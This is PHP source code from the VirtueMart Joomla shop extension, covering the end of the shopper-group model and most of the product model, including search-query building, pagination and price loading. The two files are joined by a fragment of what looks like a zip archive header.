$shoppergroup_ids_remove; } foreach($shoppergroup_ids_remove as $k => $id){ if(in_array($id,$ids)){ $key=array_search($id, $ids); if($key!==FALSE){ unset($ids[$key]); vmdebug('Anonymous case, remove session shoppergroup by plugin '.$id); } } } //$session->set('vm_shoppergroups_remove',0,'vm'); } } function remove($ids){ jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($ids); $table = $this->getTable($this->_maintablename); $defaultSgId = $this->getDefault(0); $anonymSgId = $this->getDefault(1); foreach($ids as $id){ //Test if shoppergroup is default if($id == $defaultSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup is default if($id == $anonymSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup has members $this->_db->setQuery('SELECT * FROM `#__virtuemart_vmuser_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); if($this->_db->loadResult()){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS',vmText::_($name),$id)); continue; } if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$table->getError()); return false; } } return true; } /** * Retrieves the Shopper Group Info of the SG specified by $id * * @param int $id * @param boolean $default_group * @return array */ static function getShoppergroupById($id, $default_group = false) { $virtuemart_vendor_id = 1; $db = JFactory::getDBO(); $q = 'SELECT `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`, `#__virtuemart_shoppergroups`.`shopper_group_name`, `default` AS default_shopper_group FROM `#__virtuemart_shoppergroups`'; if (!empty($id) && !$default_group) { $q .= ', `#__virtuemart_vmuser_shoppergroups`'; $q .= ' WHERE `#__virtuemart_vmuser_shoppergroups`.`virtuemart_user_id`="'.(int)$id.'" AND '; $q .= '`#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`=`#__virtuemart_vmuser_shoppergroups`.`virtuemart_shoppergroup_id`'; } else { $q .= ' WHERE `#__virtuemart_shoppergroups`.`virtuemart_vendor_id`="'.(int)$virtuemart_vendor_id.'" AND `default`="2"'; } $db->setQuery($q); return $db->loadAssocList(); } } // pure php no closing tagPKB\Gnnmodels/product.phpnuW+AsetMainTable ('products'); $this->starttime = microtime (TRUE); $this->maxScriptTime = VmConfig::getExecutionTime() * 0.95 - 1; $this->memory_limit = VmConfig::getMemoryLimit()-4; // $this->addvalidOrderingFieldName(array('m.mf_name','pp.product_price')); $app = JFactory::getApplication (); if ($app->isSite ()) { $this->_validOrderingFieldName = array(); $browseOrderByFields = VmConfig::get ('browse_orderby_fields',array('product_sku','category_name','mf_name','product_name')); } else { if (!class_exists ('shopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $browseOrderByFields = ShopFunctions::getValidProductFilterArray (); $this->addvalidOrderingFieldName (array('product_price','product_sales')); //$this->addvalidOrderingFieldName (array('product_price')); // vmdebug('$browseOrderByFields',$browseOrderByFields); } $this->addvalidOrderingFieldName ((array)$browseOrderByFields); $this->removevalidOrderingFieldName ('virtuemart_product_id'); //$this->removevalidOrderingFieldName ('product_sales'); //unset($this->_validOrderingFieldName[0]);//virtuemart_product_id array_unshift ($this->_validOrderingFieldName, 'p.virtuemart_product_id'); $this->_selectedOrdering = VmConfig::get ('browse_orderby_field', '`p`.virtuemart_product_id'); $this->setToggleName('product_special'); $this->initialiseRequests (); //This is just done now for the moment for developing, the idea is of course todo this only when needed. $this->updateRequests (); } var $keyword = ""; var $product_parent_id = FALSE; var $virtuemart_manufacturer_id = FALSE; var $virtuemart_category_id = 0; var $search_type = ''; var $searchcustoms = FALSE; var $searchplugin = 0; var $filter_order = 'p.virtuemart_product_id'; var $filter_order_Dir = 'DESC'; var $valid_BE_search_fields = array('product_name', 'product_sku','product_gtin','product_mpn','`l`.`slug`', 'product_s_desc', '`l`.`metadesc`'); private $_autoOrder = 0; private $orderByString = 0; private $listing = FALSE; /** * This function resets the variables holding request depended data to the initial values * * @author Max Milbers */ function initialiseRequests () { $this->keyword = ""; $this->valid_search_fields = $this->valid_BE_search_fields; $this->product_parent_id = FALSE; $this->virtuemart_manufacturer_id = FALSE; $this->search_type = ''; $this->searchcustoms = FALSE; $this->searchplugin = 0; $this->filter_order = VmConfig::get ('browse_orderby_field'); ; $this->filter_order_Dir = VmConfig::get('prd_brws_orderby_dir', 'ASC'); $this->_uncategorizedChildren = null; } /** * This functions updates the variables of the model which are used in the sortSearchListQuery * with the variables from the Request * * @author Max Milbers */ function updateRequests () { $this->keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); if ($this->keyword == "") { $this->keyword = vRequest::uword ('filter_product', "", ' ,-,+,.,_,#,/'); JRequest::setVar('filter_product',$this->keyword); JRequest::setVar('keyword',$this->keyword); } else { JRequest::setVar('keyword',$this->keyword); } $app = JFactory::getApplication (); $option = 'com_virtuemart'; $view = 'product'; if ($app->isSite ()) { $filter_order = JRequest::getString ('orderby', "0"); if($filter_order == "0"){ $filter_order_raw = $this->getLastProductOrdering($this->_selectedOrdering); $filter_order = $this->checkFilterOrder ($filter_order_raw); } else { vmdebug('my $filter_order ',$filter_order); $filter_order = $this->checkFilterOrder ($filter_order); vmdebug('my $filter_order after check',$filter_order); $this->setLastProductOrdering($filter_order); } $filter_order_Dir = strtoupper (JRequest::getWord ('dir', VmConfig::get('prd_brws_orderby_dir', 'ASC'))); $valid_search_fields = VmConfig::get ('browse_search_fields'); //vmdebug('$valid_search_fields ',$valid_search_fields); //unset($valid_search_fields[] } else { $filter_order = strtolower ($app->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter_order', 'filter_order', $this->_selectedOrdering, 'cmd')); $filter_order = $this->checkFilterOrder ($filter_order); $filter_order_Dir = strtoupper ($app->getUserStateFromRequest ($option . '.' . $view . '.filter_order_Dir', 'filter_order_Dir', '', 'word')); $valid_search_fields = $this->valid_BE_search_fields; } $filter_order_Dir = $this->checkFilterDir ($filter_order_Dir); $this->filter_order = $filter_order; $this->filter_order_Dir = $filter_order_Dir; $this->valid_search_fields = $valid_search_fields; $this->product_parent_id = JRequest::getInt ('product_parent_id', FALSE); $this->virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', FALSE); $this->search_type = JRequest::getVar ('search_type', ''); $this->searchcustoms = JRequest::getVar ('customfields', array(), 'default', 'array'); $this->searchplugin = JRequest::getInt ('custom_parent_id', 0); } /** * @author Max Milbers */ public function getLastProductOrdering($default = 0){ $session = JFactory::getSession(); return $session->get('vmlastproductordering', $default, 'vm'); } /** * @author Max Milbers */ public function setLastProductOrdering($ordering){ $session = JFactory::getSession(); return $session->set('vmlastproductordering', (string) $ordering, 'vm'); } /** * Sets the keyword variable for the search * * @param string $keyword */ function setKeyWord ($keyword) { $this->keyword = $keyword; } /** * New function for sorting, searching, filtering and pagination for product ids. * * @author Max Milbers */ function sortSearchListQuery ($onlyPublished = TRUE, $virtuemart_category_id = FALSE, $group = FALSE, $nbrReturnProducts = FALSE) { $app = JFactory::getApplication (); //User Q.Stanley said that removing group by is increasing the speed of product listing in a bigger shop (10k products) by factor 60 //So what was the reason for that we have it? TODO experiemental, find conditions for the need of group by $groupBy = ' group by p.`virtuemart_product_id` '; //administrative variables to organize the joining of tables $joinCategory = FALSE; $joinCatLang = false; $joinMf = FALSE; $joinMfLang = false; $joinPrice = FALSE; $joinCustom = FALSE; $joinShopper = FALSE; $joinChildren = FALSE; $joinLang = false; $orderBy = ' '; $where = array(); $useCore = TRUE; if ($this->searchplugin !== 0) { //reset generic filters ! Why? the plugin can do it, if it wishes it. // if ($this->keyword ==='') $where=array(); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $PluginJoinTables = array(); $ret = $dispatcher->trigger ('plgVmAddToSearch', array(&$where, &$PluginJoinTables, $this->searchplugin)); foreach ($ret as $r) { if (!$r) { $useCore = FALSE; } } } if ($useCore) { $isSite = $app->isSite (); // if ( $this->keyword !== "0" and $group ===false) { if (!empty($this->keyword) and $this->keyword !== '' and $group === FALSE) { $keyword = '"%' .str_replace(array(' ','-'),'%',$this->_db->getEscaped( $this->keyword, true )). '%"'; //$keyword = '"%' . $this->_db->getEscaped ($this->keyword, TRUE) . '%"'; foreach ($this->valid_search_fields as $searchField) { if ($searchField == 'category_name' || $searchField == 'category_description') { //$joinCategory = TRUE; $joinCatLang = true; } else if ($searchField == 'mf_name') { //$joinMf = TRUE; $joinMfLang = true; } else if ($searchField == 'product_price') { $joinPrice = TRUE; } else if (!$joinLang and ($searchField == 'product_name' or $searchField == 'product_s_desc' or $searchField == 'product_desc' or $searchField == '`p`.product_sku' or $searchField == '`l`.slug') ){ $joinLang = TRUE; } if (strpos ($searchField, '`') !== FALSE){ $keywords_plural = preg_replace('/\s+/', '%" AND '.$searchField.' LIKE "%', $keyword); $filter_search[] = $searchField . ' LIKE ' . $keywords_plural; } else { $keywords_plural = preg_replace('/\s+/', '%" AND `'.$searchField.'` LIKE "%', $keyword); $filter_search[] = '`'.$searchField.'` LIKE '.$keywords_plural; //$filter_search[] = '`' . $searchField . '` LIKE ' . $keyword; } } if (!empty($filter_search)) { $where[] = '(' . implode (' OR ', $filter_search) . ')'; } else { $where[] = '`product_name` LIKE ' . $keyword; $joinLang = TRUE; //If they have no check boxes selected it will default to product name at least. } } // vmdebug('my $this->searchcustoms ',$this->searchcustoms); if (!empty($this->searchcustoms)) { $joinCustom = TRUE; foreach ($this->searchcustoms as $key => $searchcustom) { $custom_search[] = '(pf.`virtuemart_custom_id`="' . (int)$key . '" and pf.`custom_value` like "%' . $this->_db->getEscaped ($searchcustom, TRUE) . '%")'; } $where[] = " ( " . implode (' OR ', $custom_search) . " ) "; } if ($onlyPublished) { $where[] = ' p.`published`="1" '; } if($isSite and !VmConfig::get('use_as_catalog',0)) { if (VmConfig::get('stockhandle','none')=='disableit_children') { $where[] = ' ((p.`product_in_stock` - p.`product_ordered`) >"0" OR (children.`product_in_stock` - children.`product_ordered`) > "0") '; $joinChildren = TRUE; } else if (VmConfig::get('stockhandle','none')=='disableit') { $where[] = ' p.`product_in_stock` - p.`product_ordered` >"0" '; } } if ($virtuemart_category_id > 0) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` = ' . $virtuemart_category_id; } else if ($isSite and !VmConfig::get('show_uncat_child_products',TRUE)) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` > 0 '; } if ($this->product_parent_id) { $where[] = ' p.`product_parent_id` = ' . $this->product_parent_id; } if ($isSite) { $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getUser (); $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; if (is_array ($virtuemart_shoppergroup_ids)) { $sgrgroups = array(); foreach ($virtuemart_shoppergroup_ids as $key => $virtuemart_shoppergroup_id) { $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id`= "' . (int)$virtuemart_shoppergroup_id . '" '; } $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id` IS NULL '; $where[] = " ( " . implode (' OR ', $sgrgroups) . " ) "; $joinShopper = TRUE; } } if ($this->virtuemart_manufacturer_id) { $joinMf = TRUE; $where[] = ' `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` = ' . $this->virtuemart_manufacturer_id; } // Time filter if ($this->search_type != '') { $search_order = $this->_db->getEscaped (JRequest::getWord ('search_order') == 'bf' ? '<' : '>'); switch ($this->search_type) { case 'parent': $where[] = 'p.`product_parent_id` = "0"'; break; case 'product': $where[] = 'p.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'price': $joinPrice = TRUE; $where[] = 'pp.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'withoutprice': $joinPrice = TRUE; $where[] = 'pp.`product_price` IS NULL'; break; case 'stockout': $where[] = ' p.`product_in_stock`- p.`product_ordered` < 1'; break; case 'stocklow': $where[] = 'p.`product_in_stock`- p.`product_ordered` < p.`low_stock_notification`'; break; } } // special orders case //vmdebug('my filter ordering ',$this->filter_order); $ff_select_price = ''; switch ($this->filter_order) { case '`p`.product_special': if($isSite){ $where[] = ' p.`product_special`="1" '; // TODO Change to a individual button $orderBy = 'ORDER BY RAND()'; } else { $orderBy = 'ORDER BY p.`product_special`'; } break; case 'category_name': $orderBy = ' ORDER BY `category_name` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'category_description': $orderBy = ' ORDER BY `category_description` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'mf_name': $orderBy = ' ORDER BY `mf_name` '; $joinMf = TRUE; $joinMfLang = true; break; case 'pc.ordering': $orderBy = ' ORDER BY `pc`.`ordering` '; $joinCategory = TRUE; break; case 'product_price': //$filters[] = 'p.`virtuemart_product_id` = p.`virtuemart_product_id`'; //$orderBy = ' ORDER BY `product_price` '; //$orderBy = ' ORDER BY `ff_final_price`, `product_price` '; $orderBy = ' ORDER BY `product_price` '; $ff_select_price = ' , IF(pp.override, pp.product_override_price, pp.product_price) as product_price '; $joinPrice = TRUE; break; case '`p`.created_on': $orderBy = ' ORDER BY p.`created_on` '; break; default; if (!empty($this->filter_order)) { $orderBy = ' ORDER BY ' . $this->filter_order . ' '; } else { $this->filter_order_Dir = ''; } break; } //Group case from the modules if ($group) { $latest_products_days = VmConfig::get ('latest_products_days', 7); $latest_products_orderBy = VmConfig::get ('latest_products_orderBy','created_on'); $groupBy = 'group by p.`virtuemart_product_id` '; switch ($group) { case 'featured': $where[] = 'p.`product_special`="1" '; $orderBy = 'ORDER BY RAND() '; break; case 'latest': $date = JFactory::getDate (time () - (60 * 60 * 24 * $latest_products_days)); $dateSql = $date->toMySQL (); //$where[] = 'p.`' . $latest_products_orderBy . '` > "' . $dateSql . '" '; $orderBy = 'ORDER BY p.`' . $latest_products_orderBy . '`'; $this->filter_order_Dir = 'DESC'; break; case 'random': $orderBy = ' ORDER BY RAND() '; //LIMIT 0, '.(int)$nbrReturnProducts ; //TODO set limit LIMIT 0, '.(int)$nbrReturnProducts; break; case 'topten': $orderBy = ' ORDER BY p.`product_sales` '; //LIMIT 0, '.(int)$nbrReturnProducts; //TODO set limitLIMIT 0, '.(int)$nbrReturnProducts; $joinPrice = true; $where[] = 'pp.`product_price`>"0.0" '; $this->filter_order_Dir = 'DESC'; break; case 'recent': $rSession = JFactory::getSession(); $rIds = $rSession->get('vmlastvisitedproductids', array(), 'vm'); // get recent viewed from browser session return $rIds; } $this->searchplugin = FALSE; } } $joinedTables = array(); //This option switches between showing products without the selected language or only products with language. if($app->isSite() and !VmConfig::get('prodOnlyWLang',true)){ //Maybe we have to join the language to order by product name, description, etc,... if(!$joinLang){ $productLangFields = array('product_s_desc','product_desc','product_name','metadesc','metakey','slug'); foreach($productLangFields as $field){ if(strpos($orderBy,$field,6)!==FALSE){ $joinLang = true; break; } } } } else { $joinLang = true; } $select = ' p.`virtuemart_product_id`'.$ff_select_price.' FROM `#__virtuemart_products` as p '; if ($joinLang) { $joinedTables[] = ' INNER JOIN `#__virtuemart_products_' . VmConfig::$vmlang . '` as l using (`virtuemart_product_id`)'; } if ($joinShopper == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_shoppergroups` as ps ON p.`virtuemart_product_id` = `ps`.`virtuemart_product_id` '; //$joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_shoppergroups` as s ON s.`virtuemart_shoppergroup_id` = `#__virtuemart_product_shoppergroups`.`virtuemart_shoppergroup_id` '; } if ($joinCategory == TRUE or $joinCatLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_categories` as pc ON p.`virtuemart_product_id` = `pc`.`virtuemart_product_id` '; if($joinCatLang){ $joinedTables[] = ' LEFT JOIN `#__virtuemart_categories_' . VMLANG . '` as c ON c.`virtuemart_category_id` = `pc`.`virtuemart_category_id`'; } } if ($joinMf == TRUE or $joinMfLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_manufacturers` ON p.`virtuemart_product_id` = `#__virtuemart_product_manufacturers`.`virtuemart_product_id` '; if($joinMfLang){ $joinedTables[] = 'LEFT JOIN `#__virtuemart_manufacturers_' . VMLANG . '` as m ON m.`virtuemart_manufacturer_id` = `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` '; } } if ($joinPrice == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_prices` as pp ON p.`virtuemart_product_id` = pp.`virtuemart_product_id` '; } if ($this->searchcustoms) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_customfields` as pf ON p.`virtuemart_product_id` = pf.`virtuemart_product_id` '; } if ($this->searchplugin !== 0) { if (!empty($PluginJoinTables)) { $plgName = $PluginJoinTables[0]; $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_custom_plg_' . $plgName . '` as ' . $plgName . ' ON ' . $plgName . '.`virtuemart_product_id` = p.`virtuemart_product_id` '; } } if ($joinChildren) { $joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_products` children ON p.`virtuemart_product_id` = children.`product_parent_id` '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode ("\n AND ", $where) . ') '; } else { $whereString = ''; } //vmdebug ( $joinedTables.' joined ? ',$select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir ); /* jexit(); */ $this->orderByString = $orderBy; if($this->_onlyQuery){ return (array($select,$joinedTables,$where,$orderBy,$joinLang)); } $joinedTables = " \n".implode(" \n",$joinedTables); $product_ids = $this->exeSortSearchListQuery (2, $select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir, $nbrReturnProducts); return $product_ids; } /** * Override * * @see VmModel::setPaginationLimits() */ public function setPaginationLimits () { $app = JFactory::getApplication (); $view = JRequest::getWord ('view','virtuemart'); $cateid = JRequest::getInt ('virtuemart_category_id', -1); $manid = JRequest::getInt ('virtuemart_manufacturer_id', 0); $limitString = 'com_virtuemart.' . $view . 'c' . $cateid . '.limit'; $limit = (int)$app->getUserStateFromRequest ($limitString, 'limit'); $limitStartString = 'com_virtuemart.' . $view . '.limitstart'; if ($app->isSite () and ($cateid != -1 or $manid != 0) ) { $lastCatId = ShopFunctionsF::getLastVisitedCategoryId (); $lastManId = ShopFunctionsF::getLastVisitedManuId (); vmdebug('setPaginationLimits is site and $cateid,$manid ',$cateid,$lastCatId,$manid); if( !empty($cateid) and $cateid != -1) { $gCatId = $cateid; } else if( !empty($lastCatId) ) { $gCatId = $lastCatId; } if(!empty($gCatId)){ $catModel= VmModel::getModel('category'); $category = $catModel->getCategory($gCatId); } else { $category = new stdClass(); } if ((!empty($lastCatId) and $lastCatId != $cateid) or (!empty($manid) and $lastManId != $manid)) { //We are in a new category or another manufacturer, so we start at page 1 $limitStart = JRequest::getInt ('limitstart', 0); } else { //We were already in the category/manufacturer, so we take the value stored in the session $limitStartString = 'com_virtuemart.' . $view . 'c' . $cateid .'m'.$manid. '.limitstart'; $limitStart = $app->getUserStateFromRequest ($limitStartString, 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit) and !empty($category->limit_list_initial)){ $suglimit = $category->limit_list_initial; } else if(!empty($limit)){ $suglimit = $limit; } else { $suglimit = VmConfig::get ('llimit_init_FE', 20); } if(empty($category->products_per_row)){ $category->products_per_row = VmConfig::get ('products_per_row', 3); } $rest = $suglimit%$category->products_per_row; $limit = $suglimit - $rest; if(!empty($category->limit_list_step)){ $prod_per_page = explode(",",$category->limit_list_step); } else { //fix by hjet $prod_per_page = explode(",",VmConfig::get('pagseq_'.$category->products_per_row)); } if($limit <= $prod_per_page['0'] && array_key_exists('0',$prod_per_page)){ $limit = $prod_per_page['0']; } //vmdebug('Calculated $limit ',$limit,$suglimit); } else { $limitStart = $app->getUserStateFromRequest ('com_virtuemart.' . $view . '.limitstart', 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState ('limit', $limit); $this->setState ($limitString, $limit); $this->_limit = $limit; //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil ((float)$limitStart / (float)$limit) * $limit; $this->setState ('limitstart', $limitStart); $this->setState ($limitStartString, $limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart, $this->_limit); } /** * This function creates a product with the attributes of the parent. * * @param int $virtuemart_product_id * @param boolean $front for frontend use * @param boolean $withCalc calculate prices? * @param boolean published * @param int quantity * @param boolean load customfields */ public function getProduct ($virtuemart_product_id = NULL, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $quantity = 1,$customfields = TRUE,$virtuemart_shoppergroup_ids=0) { if (isset($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } else { if (empty($this->_id)) { vmError('Can not return product with empty id'); return FALSE; } else { $virtuemart_product_id = $this->_id; } } if($virtuemart_shoppergroup_ids !=0 and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else { $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $withCalc = $withCalc?TRUE:0; $onlyPublished = $onlyPublished?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.$withCalc.$customfields.$this->withRating; static $_products = array(); // vmdebug('$productKey, not from cache : '.$productKey); if (array_key_exists ($productKey, $_products)) { //vmdebug('getProduct, take from cache : '.$productKey); return $_products[$productKey]; } else if(!$customfields or !$withCalc){ $productKeyTmp = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.TRUE.TRUE.TRUE; if (array_key_exists ($productKeyTmp, $_products)) { //vmdebug('getProduct, take from cache full product '.$productKeyTmp); return $_products[$productKeyTmp]; } } if ($this->memory_limit<$mem = round(memory_get_usage(FALSE)/(1024*1024),2)) { vmdebug ('Memory limit reached in model product getProduct('.$virtuemart_product_id.'), $customfields= '.$customfields.' consumed: '.$mem.'M'); vmError ('Memory limit '.$this->memory_limit.' reached in model product getProduct() ' . $virtuemart_product_id. ' tried to allocate '.$mem); return false; } $child = $this->getProductSingle ($virtuemart_product_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if (!$child->published && $onlyPublished) { //vmdebug('getProduct child is not published, returning zero'); $_products[$productKey] = FALSE; return FALSE; } if(!isset($child->orderable)){ $child->orderable = TRUE; } //store the original parent id $pId = $child->virtuemart_product_id; $ppId = $child->product_parent_id; $published = $child->published; $i = 0; $runtime = microtime (TRUE) - $this->starttime; //Check for all attributes to inherited by parent products while (!empty($child->product_parent_id)) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProduct() ', $child); vmError ('Max execution time reached in model product getProduct() ' . $child->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProduct() ', $child); vmError ('Time: ' . $runtime . ' Too many child products in getProduct() ' . $child->product_parent_id); break; } } $parentProduct = $this->getProductSingle ($child->product_parent_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if ($child->product_parent_id === $parentProduct->product_parent_id) { vmError('Error, parent product with virtuemart_product_id = '.$parentProduct->virtuemart_product_id.' has same parent id like the child with virtuemart_product_id '.$child->virtuemart_product_id); break; } $attribs = get_object_vars ($parentProduct); foreach ($attribs as $k=> $v) { if ('product_in_stock' != $k and 'product_ordered' != $k) {// Do not copy parent stock into child if (strpos ($k, '_') !== 0 and empty($child->$k)) { $child->$k = $v; // vmdebug($child->product_parent_id.' $child->$k',$child->$k); } } } $i++; if ($child->product_parent_id != $parentProduct->product_parent_id) { $child->product_parent_id = $parentProduct->product_parent_id; } else { $child->product_parent_id = 0; } } //vmdebug('getProduct Time: '.$runtime); $child->published = $published; $child->virtuemart_product_id = $pId; $child->product_parent_id = $ppId; if ($withCalc) { $child->prices = $this->getPrice ($child, array(), 1); //vmdebug(' use of $child->prices = $this->getPrice($child,array(),1)'); } if (empty($child->product_template)) { $child->product_template = VmConfig::get ('producttemplate'); } if(!empty($child->canonCatLink)) { // Add the product link for canonical $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->canonCatLink; } else { $child->canonical = 'index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id; } $child->canonical = JRoute::_ ($child->canonical,FALSE); if(!empty($child->virtuemart_category_id)) { $child->link = JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_product_id=' . $virtuemart_product_id . '&virtuemart_category_id=' . $child->virtuemart_category_id, FALSE); } else { $child->link = $child->canonical; } $child->quantity = $quantity; $app = JFactory::getApplication (); if ($app->isSite () and VmConfig::get ('stockhandle', 'none') == 'disableit' and ($child->product_in_stock - $child->product_ordered) <= 0) { vmdebug ('STOCK 0', VmConfig::get ('use_as_catalog', 0), VmConfig::get ('stockhandle', 'none'), $child->product_in_stock); $_products[$productKey] = FALSE; } else { $_products[$productKey] = $child; } return $_products[$productKey]; } public function loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front){ $db = JFactory::getDbo(); $this->_nullDate = $db->getNullDate(); $jnow = JFactory::getDate(); $this->_now = $jnow->toMySQL(); //$productId = $this->_id===0? $product->virtuemart_product_id:$this->_id; //$productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $q = 'SELECT * FROM `#__virtuemart_product_prices` WHERE `virtuemart_product_id` = "'.$productId.'" '; if($front){ if(count($virtuemart_shoppergroup_ids)>0){ $q .= ' AND ('; $sqrpss = ''; foreach($virtuemart_shoppergroup_ids as $sgrpId){ $sqrpss .= ' `virtuemart_shoppergroup_id` ="'.$sgrpId.'" OR '; } $q .= substr($sqrpss,0,-4); $q .= ' OR `virtuemart_shoppergroup_id` IS NULL OR `virtuemart_shoppergroup_id`="0") '; } $q .= ' AND ( (`product_price_publish_up` IS NULL OR `product_price_publish_up` = "' . $db->getEscaped($this->_nullDate) . '" OR `product_price_publish_up` <= "' .$db->getEscaped($this->_now) . '" ) AND (`product_price_publish_down` IS NULL OR `product_price_publish_down` = "' .$db->getEscaped($this->_nullDate) . '" OR product_price_publish_down >= "' . $db->getEscaped($this->_now) . '" ) )'; $quantity = (int)$quantity; if(!empty($quantity)){ $q .= ' AND( (`price_quantity_start` IS NULL OR `price_quantity_start`="0" OR `price_quantity_start` <= '.$quantity.') AND (`price_quantity_end` IS NULL OR `price_quantity_end`="0" OR `price_quantity_end` >= '.$quantity.') )'; } } else { $q .= ' ORDER BY `product_price` DESC'; } $db->setQuery($q); $prices = $db->loadAssocList(); $err = $db->getErrorMsg(); if(!empty($err)){ vmError('getProductSingle '.$err); } else { if($prices and count($prices)==0){ vmdebug('getProductSingle getPrice query',$q); } } return $prices; } public function getProductPrices(&$product,$quantity,$virtuemart_shoppergroup_ids,$front,$loop=false){ $product->product_price = null; $product->product_override_price = null; $product->override = null; $product->virtuemart_product_price_id = null; $product->virtuemart_shoppergroup_id = null; $product->product_price_publish_up = null; $product->product_price_publish_down = null; $product->price_quantity_start = null; $product->price_quantity_end = null; $productId = $product->virtuemart_product_id===0? $this->_id:$product->virtuemart_product_id; $product->prices = $this->loadProductPrices($productId,$quantity,$virtuemart_shoppergroup_ids,$front); $i = 0; $runtime = microtime (TRUE) - $this->starttime; $product_parent_id = $product->product_parent_id; //Check for all attributes to inherited by parent products if($loop) { while ( $product_parent_id and count($product->prices)==0) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProductPrices() ', $product); vmError ('Max execution time reached in model product getProductPrices() ' . $product->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProductPrices() ', $product); vmError ('Time: ' . $runtime . ' Too many child products in getProductPrices() ' . $product->product_parent_id); break; } } $product->prices = $this->loadProductPrices($product_parent_id,$quantity,$virtuemart_shoppergroup_ids,$front); $i++; if(!isset($product->prices['salesPrice']) and $product->product_parent_id!=0){ $db = JFactory::getDbo(); $db->setQuery (' SELECT `product_parent_id` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` =' . $product_parent_id); $product_parent_id = $db->loadResult (); } } } if(count($product->prices)===1){ unset($product->prices[0]['virtuemart_product_id']); unset($product->prices[0]['created_on']); unset($product->prices[0]['created_by']); unset($product->prices[0]['modified_on']); unset($product->prices[0]['modified_by']); unset($product->prices[0]['locked_on']); unset($product->prices[0]['locked_by']); //vmdebug('getProductPrices my price ',$product->prices[0]); // For merging of the price and product array, 